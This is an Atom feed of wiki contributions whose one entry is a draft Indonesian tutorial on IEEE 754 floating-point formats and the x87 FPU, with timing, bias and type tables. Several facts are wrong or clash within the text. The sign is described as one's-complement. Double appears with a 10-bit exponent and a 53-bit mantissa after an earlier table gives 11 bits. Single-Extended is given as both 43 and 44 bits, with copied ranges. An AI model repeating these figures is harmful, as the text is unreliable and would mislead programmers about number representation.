<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://lms.onnocenter.or.id/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Aa</id>
	<title>OnnoCenterWiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://lms.onnocenter.or.id/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Aa"/>
	<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Special:Contributions/Aa"/>
	<updated>2026-04-20T06:06:56Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Noktah_Mengambang&amp;diff=4685</id>
		<title>Noktah Mengambang</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Noktah_Mengambang&amp;diff=4685"/>
		<updated>2008-08-01T02:27:16Z</updated>

		<summary type="html">&lt;p&gt;Aa: New page: Pengantar Struktur Data dan Operasi Floating Point  by: aa, aa.delphi@yahoo.com &amp;lt;a href=&amp;quot;http://www.softindo.net&amp;quot;&amp;gt;PT SoftIndo&amp;lt;/a&amp;gt;, JAKARTA. &amp;lt;hr size=1&amp;gt;&amp;lt;i&amp;gt;Status: DRAFT2&amp;lt;/hr&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;br&amp;gt;last u...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Pengantar Struktur Data dan Operasi Floating Point&lt;br /&gt;
&lt;br /&gt;
by: aa, aa.delphi@yahoo.com&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://www.softindo.net&amp;quot;&amp;gt;PT SoftIndo&amp;lt;/a&amp;gt;, JAKARTA.&lt;br /&gt;
&amp;lt;hr size=1&amp;gt;&amp;lt;i&amp;gt;Status: DRAFT2&amp;lt;/hr&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;last update: 2006-11-00.&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;a href=#format&amp;gt;Format dan Tipe Data&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;a href=#pengolahan&amp;gt;Pengolahan Data Numerik&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;a href=#rujukan&amp;gt;Rujukan&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;span id=abstrak&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+3&amp;gt;abstraksi&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sekitar satu dekade yang lalu (sekitar &#039;90-an), Math-Coprocessor masih&lt;br /&gt;
merupakan suatu kemewahan bagi pengguna PC, hanya professional (umumnya&lt;br /&gt;
di bidang grafis dan high-end desktop publishing) yang butuh dan terutama:&lt;br /&gt;
mampu memperolehnya. Buku-buku dan referensi pemrograman biasanya melewatkan&lt;br /&gt;
bagian Floating Point ini karena selain karena kerumitannya, lambat (lihat&lt;br /&gt;
tabel 1), juga dianggap tidak praktikal (jarang ada yang punya).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td rowspan=2&amp;gt;Prosesor&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt;Penjumlahan&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt;Perkalian&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt;Pembagian&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Integer&lt;br /&gt;
  &amp;lt;td&amp;gt;Float&lt;br /&gt;
  &amp;lt;td&amp;gt;Integer&lt;br /&gt;
  &amp;lt;td&amp;gt;Float&lt;br /&gt;
  &amp;lt;td&amp;gt;Integer&lt;br /&gt;
  &amp;lt;td&amp;gt;Float&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;i386/387&lt;br /&gt;
  &amp;lt;td&amp;gt;2&lt;br /&gt;
  &amp;lt;td&amp;gt;23-34&lt;br /&gt;
  &amp;lt;td&amp;gt;9-38&lt;br /&gt;
  &amp;lt;td&amp;gt;27-35&lt;br /&gt;
  &amp;lt;td&amp;gt;43&lt;br /&gt;
  &amp;lt;td&amp;gt;89&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;i486&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;10&lt;br /&gt;
  &amp;lt;td&amp;gt;12-42&lt;br /&gt;
  &amp;lt;td&amp;gt;11&lt;br /&gt;
  &amp;lt;td&amp;gt;43&lt;br /&gt;
  &amp;lt;td&amp;gt;62 (35)&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Pentium 1&lt;br /&gt;
  &amp;lt;td&amp;gt;3&lt;br /&gt;
  &amp;lt;td&amp;gt;10&lt;br /&gt;
  &amp;lt;td&amp;gt;3&lt;br /&gt;
  &amp;lt;td&amp;gt;46&lt;br /&gt;
  &amp;lt;td&amp;gt;33&lt;br /&gt;
  &amp;lt;td&amp;gt;(19)&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;PowerPC 6041&lt;br /&gt;
  &amp;lt;td&amp;gt;3&lt;br /&gt;
  &amp;lt;td&amp;gt;4&lt;br /&gt;
  &amp;lt;td&amp;gt;3&lt;br /&gt;
  &amp;lt;td&amp;gt;20&lt;br /&gt;
  &amp;lt;td&amp;gt;31&lt;br /&gt;
  &amp;lt;td&amp;gt;(18)&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;MIPS R4x00&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;4&lt;br /&gt;
  &amp;lt;td&amp;gt;10&lt;br /&gt;
  &amp;lt;td&amp;gt;8 (7)&lt;br /&gt;
  &amp;lt;td&amp;gt;69&lt;br /&gt;
  &amp;lt;td&amp;gt;36 (23)&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr height=0&amp;gt;&lt;br /&gt;
  &amp;lt;td width=120&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;Tabel 1. Timing (dalam kurung = single precision/presisi tunggal)&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Disini akan dibahas lengkap tentang format data Floating Point IEEE 754 serta implementasinya dalam prosesor Intel keluarga x87. Dengan tulisan ini diharapkan pembaca bisa mendapatkan gambaran yang jelas mengenai format data Floating Point. Memahami format data floating point adalah suatu hal yang mendasar dan krusial dalam pemrograman numerik, tulisan ini diharap bisa memecahkan entry-barrier bagi pembaca/programer untuk memasuki area pemrograman/operasi numerik yang sering dianggap rumit atau tidak menyenangkan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
catatan:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saat ini (tahun 2000-an), standar minimal &#039;jatah&#039; desktop (setidaknya di kota-kota besar) adalah Pentium --yang sebagian besar MMX, paling tidak kelas 486-lah, itupun sudah mulai terpinggirkan, i386 hanya dipakai untuk server printer &#039;console-mode-only&#039;-nya FreeBSD, i286 tinggal sejarah, PC-XT/AT --kalau anda pernah dengar, sudah jadi barang antik di musium, dan IBM PC 8086 4.7MHz yang resolusi monitornya cuma setengah dari ponsel jaman sekarang, kini tinggal sisa-sisa fosil. Pendeknya hampir semua PC operasional saat ini sudah memiliki prosesor numerik built-in &#039;take for granted&#039; di dalamnya.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+3&amp;gt;Latar Belakang&amp;lt;/font&amp;gt;&amp;lt;!-- h3 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ketika berencana untuk memasukkan prosesor numerik dalam prosesor 8086-nya, J. Palmer dari Intel menyadari bahwa para insinyur dan disainer chips bukanlah orang yang tepat untuk merancang format numerik, untuk itu dia menyewa khusus orang-orang terbaik di bidang analisa numerik, mereka adalah: J. Coonen, W. M. Kahan, dan H.S. Stone, yang membuat desain sebegitu bagusnya sehingga diadopsi oleh IEEE sebagai format standar floating point, --artinya semua prosesor yang konform dengan IEEE akan menggunakan format Floating Point yang sama, suatu hal yang sangat memudahkan bagi para perancang kompiler.&lt;br /&gt;
&lt;br /&gt;
Floating Point Unit (FPU) x87 awalnya cuma pendamping untuk processor 80186, diteruskan oleh penerusnya: i286, i386, dan i486-SX. mulai kelas x486-Dx (keluar tahun 1989) dan sesudahnya, Intel mengemas processor utama dan numerik dalam satu prosesor (sepertinya memang sudah seharusnya demikian, bukan?), sehingga tidak ada lagi processor numerik terpisah.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--pagebreak--&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;----------------------------------------------------&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=format&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+3&amp;gt;A. Format dan Tipe Data&amp;lt;/font&amp;gt;&amp;lt;!-- h3 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;A.1. Integer dan Floating Point&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Berbeda dari bilangan integer yang jaraknya selalu konstan: satu, antara dua bilangan real selalu akan terdapat nilai yang banyaknya tak terhingga, sehingga masalah utama dalam menyusun struktur format Floating Point adalah memaksimalkan jangkauan (range) bilangan dalam keterbatasan memori/register yang ada tanpa mengorbankan terlalu banyak akurasi perhitungan (baik normal maupun transedental), minimum overhead untuk kecepatan akses dan struktur diatur sedemikian rupa sehingga memudahkan untuk operasi lanjutan. Tujuan inilah yang ingin dicapai oleh para perancang format Floating Point.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
catatan:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;operasi normal adalah: penjumlahan, pengurangan, perkalian dan pembagian&lt;br /&gt;
&amp;lt;li&amp;gt;operasi transedental misalnya: log, sin, cos, dan tan.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seperti pada integer, Floating Point juga menggunakan basis 2 (biner) untuk merepresentasikan sebuah bilangan (disebut juga sebagai binary-floating-point) yang mencakup suatu subset dari continuum bilangan real (antara minus tak-hingga s.d. plus tak-hingga). Struktur format Floating Point selanjutnya menentukan range dari bilangan real yang dapat digunakan dalam perhitungan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;A.2. Struktur&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Struktur Data Floating Point (berturut-turut dari Most-ke-Least Significant-Bit) terdiri atas:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;  a. sign bit: bit penanda negatif/positif&lt;br /&gt;
&amp;lt;li&amp;gt;  b. exponent: eksponen digit, kepangkatan dari: dua&lt;br /&gt;
&amp;lt;li&amp;gt;  c. 1: satu&lt;br /&gt;
&amp;lt;li&amp;gt;  d. mantissa fraction (atau disebut juga trailing significand): desimal digit, pecahan kurang dari: satu&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dalam referensi Intel, butir c. dan d. diatas sebagai kesatuan disebut sebagai Significand, berdasarkan nilai inilah diperoleh angka-angka atau digit sesungguhnya.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;A.2.1. Sign bit&amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tidak seperti format integer yang menggunakan notasi two&#039;s-complement, format Floating Point menggunakan notasi one&#039;s-complement, artinya selalu berupa nilai positif (operasi NEG adalah 2&#039;s complement, sementara operasi NOT adalah 1&#039;s complement). Nilai negatif semata-mata ditunjukkan oleh sign-bit, implikasinya, dalam floating Point terdapat ambiguitas nilai-0 yang bisa bertanda negatif atau positif tergantung dari instruksi/operasi, namun ini tidak jadi masalah, di seluruh operasi aritmetik, kedua nilai 0 tersebut dianggap identik.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;A.2.2. Exponent&amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Format exponent sama dengan format integer positif (unsigned), dibaca seperti layaknya membaca integer, dengan satu interpolasi khusus yaitu: dihitung dengan menyertakan suatu konstanta tertentu yang disebut sebagai bias (dikurangi nilainya dengan bias). Misalnya jika exponent = 10 dan bias = 100, maka nilainya setelah penyesuaian bias adalah 10-100 = -90. Dalam beberapa referensi, nilai setelah penyesuaian bias ini disebut juga sebagai &#039;True Exponent&#039;. Dengan penyesuaian ini, selain tetap mengakomodasi negatif exponensial, struktur bit-per-bit (bitwise) data bilangan akan menjadi simetris, berurut dari nilai yang terkecil sampai terbesar, keuntungannya antara lain adalah: mengurutkan data Floating Point akan sama mudahnya dengan mengurutkan data integer, tidak memerlukan algoritma khusus.&lt;br /&gt;
&lt;br /&gt;
Nilai bias diperoleh dari nilai maksimum dalam format integer (signed), atau separuh dari nilai maksimum (high value) dalam format integer positif (unsigned). Nilai ini juga merupakan batas minimum dan maksimum dari nilai exponent (max = bias, min = -(bias-1)).&lt;br /&gt;
&lt;br /&gt;
Contohnya, untuk tipe data Single dengan exponent berukuran 8-bit, nilai biasnya adalah: 127 (2^7-1), tipe Double dengan 11 bit exponent: 1023 (2^10-1), dan Double-Extended dengan 15 bit exponent: 16383 (2^14-1)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td height=24&amp;gt;Tipe Data&lt;br /&gt;
  &amp;lt;td&amp;gt;exponent&lt;br /&gt;
  &amp;lt;td&amp;gt;low&lt;br /&gt;
  &amp;lt;td&amp;gt;high&lt;br /&gt;
  &amp;lt;td&amp;gt;bias&lt;br /&gt;
  &amp;lt;td&amp;gt;min&amp;lt;td&amp;gt;max&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Single&lt;br /&gt;
  &amp;lt;td&amp;gt;8 bit&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;255&lt;br /&gt;
  &amp;lt;td&amp;gt;127&lt;br /&gt;
  &amp;lt;td&amp;gt;-126&lt;br /&gt;
  &amp;lt;td&amp;gt;+127&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Double&lt;br /&gt;
  &amp;lt;td&amp;gt;11 bit&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;2047&lt;br /&gt;
  &amp;lt;td&amp;gt;1023&lt;br /&gt;
  &amp;lt;td&amp;gt;-1022&lt;br /&gt;
  &amp;lt;td&amp;gt;+1023&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Double Extended&lt;br /&gt;
  &amp;lt;td&amp;gt;15 bit&lt;br /&gt;
  &amp;lt;td&amp;gt;0&lt;br /&gt;
  &amp;lt;td&amp;gt;32767&lt;br /&gt;
  &amp;lt;td&amp;gt;16383&lt;br /&gt;
  &amp;lt;td&amp;gt;-16384&lt;br /&gt;
  &amp;lt;td&amp;gt;+16383&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr height=0&amp;gt;&lt;br /&gt;
  &amp;lt;td width=120&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;Tabel A.2.2. Contoh nilai bias dari beberapa tipe data Floating Point&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;A.2.3. bit 1 (satu)&amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dalam bilangan desimal (basis-10), suatu nilai, misalnya: 9000, bisa dinotasikan sebagai 9.0 x 10^3 (atau 9.0 E+3). Contoh lain, 0.07890 bisa dinotasikan juga sebagai 7.89 x 10^-2 (atau 7.89 E-2)&lt;br /&gt;
&lt;br /&gt;
Berapapun nilainya, suatu bilangan desimal dapat dinotasikan sebagai N.XXX... x 10^Y atau N.XXX... E+Y (Y bisa berupa nilai negatif, N bilangan bulat selain 0), dengan notasi ini dapat dilihat bahwa nilai N diatas akan lebih besar dari 0 dan lebih kecil dari 10, 0 &amp;lt; N &amp;lt; 10.&lt;br /&gt;
&lt;br /&gt;
Penyederhanaan notasi diatas disebut juga sebagai di-&amp;lt;b&amp;gt;normalisir&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seperti telah disebutkan dalam butir A.1., format Floating Point menggunakan notasi biner, jika dilakukan normalisasi pada bilangan tersebut maka nilai N (analog dengan bilangan desimal diatas) pasti lebih besar dari 0 dan lebih kecil dari 2, 0 &amp;lt; N &amp;lt; 2,  atau sama dengan 1.&lt;br /&gt;
&lt;br /&gt;
Hal itulah yang dilakukan oleh format Floating Point, melakukan normalisasi bilangan sehingga menghasilkan Most-Significant-Bit (MSB) dari Significand akan selalu sama dengan 1, bentuk ini disebut juga sebagai NORMALIZED.&lt;br /&gt;
&lt;br /&gt;
Karena nilai 1 ini tidak pernah berubah, maka kemudian nilai ini dihapus/dieliminasi agar lebih efisien (ada tambahan 1-bit untuk mantissa). Tapi, meskipun tidak tampak, nilai 1 ini selalu dianggap ada (implisit), kecuali untuk tipe Double-Extended. Nilai 1 dalam tipe Double-Extended tidak dieliminasi dan dinyatakan secara eksplisit. Selain perbedaan ini, struktur format tipe Single, Single-Extended, Double, dan Double-extended adalah identik.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
catatan:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Dalam tipe Double-Extended kapasitas Significand adalah 64-bit, atau persis kelipatan dword/qword sehingga lebih mudah dan cepat untuk diakses apa adanya.&lt;br /&gt;
&amp;lt;li&amp;gt;Anomali tipe Double-Extended berlaku juga untuk proprietary Intel Itanium (IA-64) 82-bits Extended-Register.&lt;br /&gt;
&amp;lt;li&amp;gt;Karena keterbatasan kapasitas register, untuk merepresentasikan bilangan yang sangat kecil (di kisaran 2^E-high) bisa terjadi MSB Signifand bernilai 0, kasus ini disebut DENORMALIZED (sekarang disebut SUBNORMAL).&lt;br /&gt;
&amp;lt;li&amp;gt;Jika terjadi denormal/subnormal, bit-satu seperti disebut dalam butir A.2.c diatas tidak lagi bernilai satu tapi nol.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td height=24&amp;gt;Format&lt;br /&gt;
  &amp;lt;td&amp;gt;2^&lt;br /&gt;
  &amp;lt;td&amp;gt;10^&lt;br /&gt;
  &amp;lt;td&amp;gt;2^&lt;br /&gt;
  &amp;lt;td&amp;gt;10^&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Single&lt;br /&gt;
  &amp;lt;td&amp;gt;-149&lt;br /&gt;
  &amp;lt;td&amp;gt;-46&lt;br /&gt;
  &amp;lt;td&amp;gt;-126..-150&lt;br /&gt;
  &amp;lt;td&amp;gt;-38&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Double&lt;br /&gt;
  &amp;lt;td&amp;gt;-1074&lt;br /&gt;
  &amp;lt;td&amp;gt;-324&lt;br /&gt;
  &amp;lt;td&amp;gt;-1022..-1075&lt;br /&gt;
  &amp;lt;td&amp;gt;-308&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Extended&lt;br /&gt;
  &amp;lt;td&amp;gt;-16445&lt;br /&gt;
  &amp;lt;td&amp;gt;-4951&lt;br /&gt;
  &amp;lt;td&amp;gt;-16382..-16445&lt;br /&gt;
  &amp;lt;td&amp;gt;-4932&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td width=120&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
  &amp;lt;td width=150&amp;gt;&lt;br /&gt;
  &amp;lt;td width=60&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;Tabel A.2.3. Jangkauan nilai subnormal&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;A.2.4. Mantissa fraction&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mantissa fraction adalah bagian pecahan dari Significand (setelah bit 1, baik implisit maupun explisit).&lt;br /&gt;
&lt;br /&gt;
Significand adalah kesatuan butir A.2.c dan A2.d diatas&lt;br /&gt;
&lt;br /&gt;
Significand pangkat exponent setelah penyesuaian bias (true-exponent) adalah nilai sebenarnya yang ingin direpresentasikan oleh data Floating Point yang bersangkutan.&lt;br /&gt;
&lt;br /&gt;
Lihat juga butir A.4. tentang Kondisi Khusus.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;A.3. Tipe Data Floating Point, IEEE Standard 754 conformant tediri dari:&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;a. Binary16, 16 bit&lt;br /&gt;
&amp;lt;li&amp;gt;b. Single Precision (Binary32), 32-bit&lt;br /&gt;
&amp;lt;li&amp;gt;c. Single-Extended Precision, 43-bit&lt;br /&gt;
&amp;lt;li&amp;gt;d. Double Precision (Binary64), 64-bit&lt;br /&gt;
&amp;lt;li&amp;gt;e. Double-Extended Precision, 80-bit&lt;br /&gt;
&amp;lt;li&amp;gt;f. Itanium (IA-64) Double-Extended Precision, 82-bit&lt;br /&gt;
&amp;lt;li&amp;gt;g. Quadruple Precision (Binary128), 128-bit&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td rowspan=2&amp;gt;Tipe&lt;br /&gt;
  &amp;lt;td rowspan=2&amp;gt;Lebar&lt;br /&gt;
  &amp;lt;td rowspan=2&amp;gt;Exp&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt;Significand&lt;br /&gt;
  &amp;lt;td rowspan=2&amp;gt;Range biner&lt;br /&gt;
  &amp;lt;td rowspan=2&amp;gt;Range desimal&lt;br /&gt;
  &amp;lt;td rowspan=2&amp;gt;digit signifikan&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;1&lt;br /&gt;
  &amp;lt;td&amp;gt;mantissa&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Binary16&lt;br /&gt;
  &amp;lt;td&amp;gt;16&lt;br /&gt;
  &amp;lt;td&amp;gt;5&lt;br /&gt;
  &amp;lt;td&amp;gt;0 (imp)&lt;br /&gt;
  &amp;lt;td&amp;gt;10&lt;br /&gt;
  &amp;lt;td&amp;gt;2^-14..2^15&lt;br /&gt;
  &amp;lt;td&amp;gt;0.000061..32768&lt;br /&gt;
  &amp;lt;td&amp;gt;4-6&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Single&lt;br /&gt;
  &amp;lt;td&amp;gt;32&lt;br /&gt;
  &amp;lt;td&amp;gt;8&lt;br /&gt;
  &amp;lt;td&amp;gt;0 (imp)&lt;br /&gt;
  &amp;lt;td&amp;gt;23&lt;br /&gt;
  &amp;lt;td&amp;gt;2^-126 .. 2^127&lt;br /&gt;
  &amp;lt;td&amp;gt;1.18E-38 .. 3.40E+38&lt;br /&gt;
  &amp;lt;td&amp;gt;6-9&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Single Extended&lt;br /&gt;
  &amp;lt;td&amp;gt;44&lt;br /&gt;
  &amp;lt;td&amp;gt;10&lt;br /&gt;
  &amp;lt;td&amp;gt;1 (exp)&lt;br /&gt;
  &amp;lt;td&amp;gt;32&lt;br /&gt;
  &amp;lt;td&amp;gt;2^-1022 .. 2^1023&lt;br /&gt;
  &amp;lt;td&amp;gt;1.18E-38 .. 3.40E+38&lt;br /&gt;
  &amp;lt;td&amp;gt;11-12&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Double&lt;br /&gt;
  &amp;lt;td&amp;gt;64&lt;br /&gt;
  &amp;lt;td&amp;gt;10&lt;br /&gt;
  &amp;lt;td&amp;gt;0 (imp)&lt;br /&gt;
  &amp;lt;td&amp;gt;53&lt;br /&gt;
  &amp;lt;td&amp;gt;2^-1022..2^1023&lt;br /&gt;
  &amp;lt;td&amp;gt;2.23E-308..1.79E+308&lt;br /&gt;
  &amp;lt;td&amp;gt;15-17&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Double Extended&lt;br /&gt;
  &amp;lt;td&amp;gt;80&lt;br /&gt;
  &amp;lt;td&amp;gt;15&lt;br /&gt;
  &amp;lt;td&amp;gt;1 (exp)&lt;br /&gt;
  &amp;lt;td&amp;gt;63&lt;br /&gt;
  &amp;lt;td&amp;gt;2^-16382..2^16383&lt;br /&gt;
  &amp;lt;td&amp;gt;3.37E-4932..1.18E+4932&lt;br /&gt;
  &amp;lt;td&amp;gt;18-21&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
